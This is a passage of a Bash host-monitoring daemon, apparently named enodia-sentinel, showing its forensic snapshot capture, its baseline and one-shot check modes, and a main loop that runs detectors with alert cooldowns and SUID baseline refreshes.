||||
echo
|
||||
echo "## All established + listening TCP (ss -tanp)"
|
||||
ss -tanp 2>/dev/null | head -80
|
||||
echo
|
||||
echo "## /etc/ld.so.preload"
|
||||
if [ -s /etc/ld.so.preload ]; then cat /etc/ld.so.preload; else echo " (empty — good)"; fi
|
||||
echo
|
||||
echo "## Recently modified watched files (last 1h)"
|
||||
find $WATCH_PERSISTENCE -newermt "@$(( $(date +%s) - 3600 ))" \
|
||||
\( -type f -o -type l \) -printf ' %TY-%Tm-%Td %TH:%TM %p\n' 2>/dev/null | head -40
|
||||
echo
|
||||
echo "## Recently loaded kernel modules (tail of lsmod)"
|
||||
lsmod 2>/dev/null | head -15
|
||||
echo
|
||||
echo "## Logged-in users / recent logins"
|
||||
who 2>/dev/null; echo "--"; last -n 5 2>/dev/null | head -5
|
||||
echo
|
||||
echo "## Recent auth events (authpriv, 10m)"
|
||||
journalctl --since "10 minutes ago" --facility=authpriv --no-pager 2>/dev/null | tail -20
|
||||
echo
|
||||
if [ "${CAPTURE_EXECVE_BPFTRACE:-0}" = 1 ]; then
|
||||
capture_execve_bpftrace
|
||||
fi
|
||||
} > "$final" 2>&1
|
||||
|
||||
chmod 640 "$final" 2>/dev/null
|
||||
|
||||
local sig_list; sig_list=$(tr '\n' ',' <<< "$sigs" | sed 's/,$//;s/,/, /g')
|
||||
echo "$(date -Iseconds) [${top_sev:-HIGH}] captured $final — signatures: ${sig_list}" \
|
||||
>> "$LOG_DIR/events.log"
|
||||
notify_users "${top_sev:-HIGH}: ${sig_list}"
|
||||
}
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Entry points
|
||||
# --------------------------------------------------------------------------
|
||||
case "${1:-}" in
|
||||
--baseline)
|
||||
build_listener_baseline; build_suid_baseline
|
||||
echo "Baselines written to $LOG_DIR/.listener-baseline and .suid-baseline"
|
||||
exit 0 ;;
|
||||
--check)
|
||||
# Re-arm immediately for a one-shot check
|
||||
START_TIME=$((START_TIME - BASELINE_GRACE - 1))
|
||||
[ -r "$LOG_DIR/.listener-baseline" ] || build_listener_baseline
|
||||
[ -r "$LOG_DIR/.suid-baseline" ] || build_suid_baseline
|
||||
out=$(run_detectors "$(( $(date +%s) - SAMPLE_INTERVAL ))" 1)
|
||||
if [ -z "$out" ]; then echo "No alerts."; else
|
||||
awk -F'\t' '{printf "[%s] %-18s %s\n", $1, $2, $3}' <<< "$out"
|
||||
fi
|
||||
exit 0 ;;
|
||||
esac
|
||||
|
||||
# --- daemon loop ----------------------------------------------------------
|
||||
echo "$(date -Iseconds) enodia-sentinel started (pid $$)" >> "$LOG_DIR/events.log"
|
||||
build_listener_baseline
|
||||
build_suid_baseline
|
||||
last_suid_refresh=$START_TIME
|
||||
prune_snapshots
|
||||
last_scan=$START_TIME
|
||||
last_suid_scan=0
|
||||
|
||||
while true; do
|
||||
now=$(date +%s)
|
||||
|
||||
# Decide whether this sweep includes the filesystem-wide SUID scan.
|
||||
do_suid=0
|
||||
if [ $(( now - last_suid_scan )) -ge "${SUID_SCAN_INTERVAL:-60}" ]; then
|
||||
do_suid=1; last_suid_scan=$now
|
||||
fi
|
||||
|
||||
# Manual trigger (drop a word into $TRIGGER_FILE)
|
||||
if [ -f "$TRIGGER_FILE" ]; then
|
||||
rm -f "$TRIGGER_FILE"
|
||||
capture_snapshot "$(printf 'HIGH\tmanual\tkey=manual manual capture requested')" &
|
||||
fi
|
||||
|
||||
alerts=$(run_detectors "$last_scan" "$do_suid")
|
||||
last_scan=$now
|
||||
|
||||
if [ -n "$alerts" ]; then
|
||||
fresh=""
|
||||
while IFS= read -r line; do
|
||||
[ -n "$line" ] || continue
|
||||
key=$(grep -oE 'key=[^ ]+' <<< "$line" | head -1)
|
||||
key=${key:-$line}
|
||||
prev=${last_alert[$key]:-0}
|
||||
if [ $(( now - prev )) -ge "$COOLDOWN" ]; then
|
||||
last_alert[$key]=$now
|
||||
fresh+="$line"$'\n'
|
||||
fi
|
||||
done <<< "$alerts"
|
||||
|
||||
if [ -n "$fresh" ]; then
|
||||
capture_snapshot "${fresh%$'\n'}" &
|
||||
captures_since_prune=$((captures_since_prune+1))
|
||||
if [ "$captures_since_prune" -ge 20 ]; then
|
||||
prune_snapshots &
|
||||
captures_since_prune=0
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
||||
# Periodically refresh the SUID baseline so legit installs don't alert forever
|
||||
if [ $(( now - last_suid_refresh )) -ge "$SUID_REFRESH" ]; then
|
||||
build_suid_baseline; last_suid_refresh=$now
|
||||
fi
|
||||
|
||||
sleep "$SAMPLE_INTERVAL"
|
||||
done
|
||||
Loading…
Add table
Add a link
Reference in a new issue